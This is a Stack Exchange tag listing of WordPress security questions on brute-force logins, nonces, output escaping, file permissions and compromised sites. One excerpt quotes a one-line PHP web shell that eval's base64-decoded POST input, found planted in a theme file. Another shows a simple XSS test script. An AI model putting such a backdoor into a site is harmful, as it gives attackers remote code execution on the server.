Strengthening themes, plugins and core installation to prevent intrusion.

learn more… | top users | synonyms

0
votes
1answer
92 views

Trying to understand nature of hacking

Today we saw suddenly two files created in root folder in one of our wordpress websites - file name owp.php and gmail.html On investigating the access logs following entries were found which seem to ...
0
votes
1answer
63 views

Why does WordPress change a file's permissions?

If I set the permissions to the CSS file in my theme to 444 and then attempt to edit it in the Appearance Editor, WordPress is not prevented from editing the file and in fact change the permissions to ...
5
votes
1answer
788 views

Should I remove install.php and install-helper.php?

Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644. If there is any leak, what kind ...
0
votes
1answer
175 views

Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?

I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like: <a>,<script>,etc. I then ...
0
votes
1answer
179 views

If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?

I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
1
vote
2answers
536 views

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The second in ...
0
votes
2answers
303 views

Wordfence detects change in wp-admin/includes/upgrade.php

I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found ...
17
votes
2answers
6k views

Increase of failed login attempts, brute force attacks?

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
0
votes
1answer
751 views

Changing admin user id for database

Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security. Thanks
2
votes
1answer
177 views

Protecting against malicious code in Wordpress plugin updates

One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013): ...
3
votes
2answers
103 views

Is it safe to assume that a nonce may be validated more than once?

From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours. Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
0
votes
1answer
51 views

How do I allow certain users to make a certain type of post?

Here's a brief summary of how my site is setup: I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
3
votes
1answer
125 views

Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?

Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
1
vote
1answer
500 views

Moving wp-config.php up 2 levels

Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
3
votes
1answer
206 views

Allow Profile HTML for select users

I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
0
votes
1answer
136 views

Data Validation, dynamically generated fields (select for example)

Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
0
votes
1answer
136 views

Is it safe use wp_editor in public contact form

I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field. Here is my question, is that safe use wp_editor in public though disable media ...
0
votes
1answer
103 views

force login loophole

I want to restrict access to my wordpress site to allow registered users only. I have tried the following plugins: Require-login Authenticator WP-lock All of them have the same problem: After ...
3
votes
1answer
582 views

When to use esc_url, esc_html, esc_attr, and friends?

Discovered esc_url today while customizing an _s theme. I understand what the function does (sanitizes the URL inside), but what I'm unsure of is the scope of its use. It makes sense to me that if ...
0
votes
3answers
204 views

How to stop direct HTTP POST to a PHP script?

I have a form on my site, created using Contact Form 7 with Captcha. Contents of the form when POSTed are being sent to a PHP script, the "action" attribute of the form is set to ...
-2
votes
2answers
892 views

Is there a secure way for the public to submit images, videos, and documents using WordPress?

I want the public to submit images, photo simulations, models, video, animation, illustrated narration, papers and other publications and multimedia. images - 30" x 42" 300 dpi . pdf format file size. ...
0
votes
2answers
881 views

Too many login attempts

Since a week or two I keep receiving the following automatic email message sent from my WordPress website, and I'd like to know if it indicates any security hole and if there's anything I can do to ...
3
votes
3answers
355 views

How brute-forcer knows that the password is cracked for target username?

There are very many brute-force attacks (mostly for 'admin' username) on WordPress sites. All these attacks are made automatically via post requests. The question 1: how brute-forcer knows that the ...
1
vote
1answer
225 views

Using esc_html with HTML purifier and CSSTidy: Overkill?

Currently my text area input (which accepts custom CSS input from a user) in the Wordpress theme options panel are sanitized by esc_html function in Wordpress ...
0
votes
2answers
39 views

Separate Out Real Users

If I look at /wp-admin/users.php I see all the users, but some have given a bogus email and never used their password. Is there some way to see who has used their password at least once? If not, ...
0
votes
1answer
144 views

Auto log in hook is requiring a page refresh

I have a simple auto log in hook that looks like the following: function auto_login() { if (!is_user_logged_in()) { //Removed some code for brevity. $user = ...
1
vote
1answer
127 views

How can I secure a WordPress blog using OpenID from a single provider?

We're about to launch an internal blog for the company I work at. Much of the blog will be available to the public, but certain posts will be for employees only. Our intranet/extranet has an OpenID ...
2
votes
0answers
136 views

Disallow file edit not preventing plugin install

I have a little demo site (admin details are listed publicly), and I've configured the wp-config to disallow file edits, so in theory no one can install a theme / plugin. ...
0
votes
1answer
73 views

Security to delete post by Admin

My code is so simple like when admin delete a post by Wordpress fucntion (PHP) and do action with jQuery <?php include('../../../../../../wp-config.php'); if(current_user_can('edit_posts')){ $id = ...
2
votes
2answers
295 views

wordfence scan warning on W3 Total Cache [closed]

I use Wordfence plugin which scans server side plugins with original plugin files to see if anything was modified by hacker/cracker. Today I got a warning and it shows these modifications on ...
1
vote
1answer
5k views

Receiving “This content cannot be displayed in a frame” error on login page

I am using a new domain for my WordPress directory in different server. When I click the meta links such "Login" or "register", I get this page: This content cannot be displayed in a frame To ...
-1
votes
1answer
178 views

Default installation permissions for wp-config.php

Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing ...
1
vote
1answer
386 views

Wordpress Security - How to block alternative Wordpress access

I own a self-hosted Wordpress 3.5 blog. I'm working on its security and I'm trying to prevent non-writers from accessing anything admin-ish they shouldn't. Recently I tried Better Wordpress Security, ...
-2
votes
2answers
117 views

Is this a WordPress security bug?

<?php if ( ! is_admin() ) return; echo 'You should not see this if you\'re not logged in!'; ?> If you put this in a mu-plugin, and go to your admin, e.g., example.com/wp-admin/ while you are ...
8
votes
1answer
524 views

From a security standpoint, should bloginfo() or get_bloginfo() be escaped?

I've been reviewing a lot of information about WP theme and plugin security and understand the concept that you should escape attributes and HTML values in themes and plugins. I've seen bloginfo() and ...
0
votes
1answer
48 views

Is this plugin safe to run?

This is an extract of code from a wordpress plugin. Is it safe to run despite the variables not being filtered? Also does the wpdb class filter to prevent any injection? list($email_id, $user_id, ...
-1
votes
3answers
3k views

nginx + wordpress: Best practices for configuring it to be secure, reliable, and fast? [closed]

BACKGROUND: Running everything up on Linode. Having followed the "Getting Started," "Securing Your Server," "LEMP Server on Ubuntu 12.04," and the "Manage Web Content with WordPress" guides I was ...
0
votes
1answer
145 views

Admin can enter JavaScript - potential security risk?

WP 3.5/TwentyTwelve/Clean install. I try this when login as admin and editor. I try add reply for first post "Hello World": <script>alert('XSS')</script><script><</script> ...
0
votes
1answer
586 views

Basic password protection without using users and roles

I'm using WooCommerce, and want to be able to password protect products (or preferably whole categories if possible), but without using the Users & Roles functionality build into WP(because I need ...
0
votes
2answers
186 views

File permissions for wp-minify plugin

I am worried on installing Wp-Minify plugin. But it needs 777 permission for the cache directory located inside wp-uploads directory. Isn't it a security issue?
0
votes
1answer
106 views

security issue in wordpress?

I have installed wordpress in www.mysite.com/user and now suppose if someone is familiare with wordpress he/she can easily access my stuffs through www.mysite.com/user/members ...
2
votes
3answers
8k views

How does admin-ajax.php work?

we are having some issues with an external developer. i am not a wp person so i turn to the masses to help out. we want to limit access to the wp-admin site to internal access only (via vpn). simply ...
3
votes
1answer
232 views

Nonces can be reused multiple times? Bug / Security issue?

I've read that nonces are meant to be for one time use only, and after an ajax request, you should issue a new nonce so with the next ajax request, a new nonce would be sent to the server. However, I ...
5
votes
2answers
868 views

File and directory permissions

I installed latest WordPress 3.5 in my CentOS server. When I tried accessing http://example.com/wp-includes/, I received a listing of the directory: (Index of wp-includes). I added the following code ...
1
vote
1answer
2k views

Disable directory browsing of uploads folder

I'm using Wordpress as a CMS for a simple website. I want to prevent users from being able to browse the directories such as the wp-content/uploads folder or any directories of my theme. My host does ...
3
votes
1answer
1k views

Masking logout URL

The primary goal is to hide that the site is driven by wordpress. I've got the login part all locked up, but the logout URL still has those blasted wp delineators that give away it's a wordpress site. ...
1
vote
0answers
442 views

Security - Ajax and Nonce use [closed]

I'm developing a site which posts a number of ajax calls from jquery to PHP and returns data from PhP to jquery. Everything is working, but i'd to know if my approach to handling the calls is ok, in ...
0
votes
1answer
1k views

wp_insert_post disable HTML filter

I have input value "<iframe>....</iframe>" (param 'post_content'). When i execute wp_insert_post, function cut off my tag. How to disable HTML filter in wp_insert_post ?
1
vote
1answer
48 views

About WordPress site security

If I install WordPress on my server, does it mean that Akismet is installed automatically? If so - do I still need to create e-mail verification and captcha tools for improving site security (as I see ...
1
vote
1answer
108 views

using rewrites to secure login page

I'm trying to be sneaky with iis to secure a wordpress login page (not my choice to run a windows server, but that's the reality of things). It's worked so far, only the login page itself loads itself ...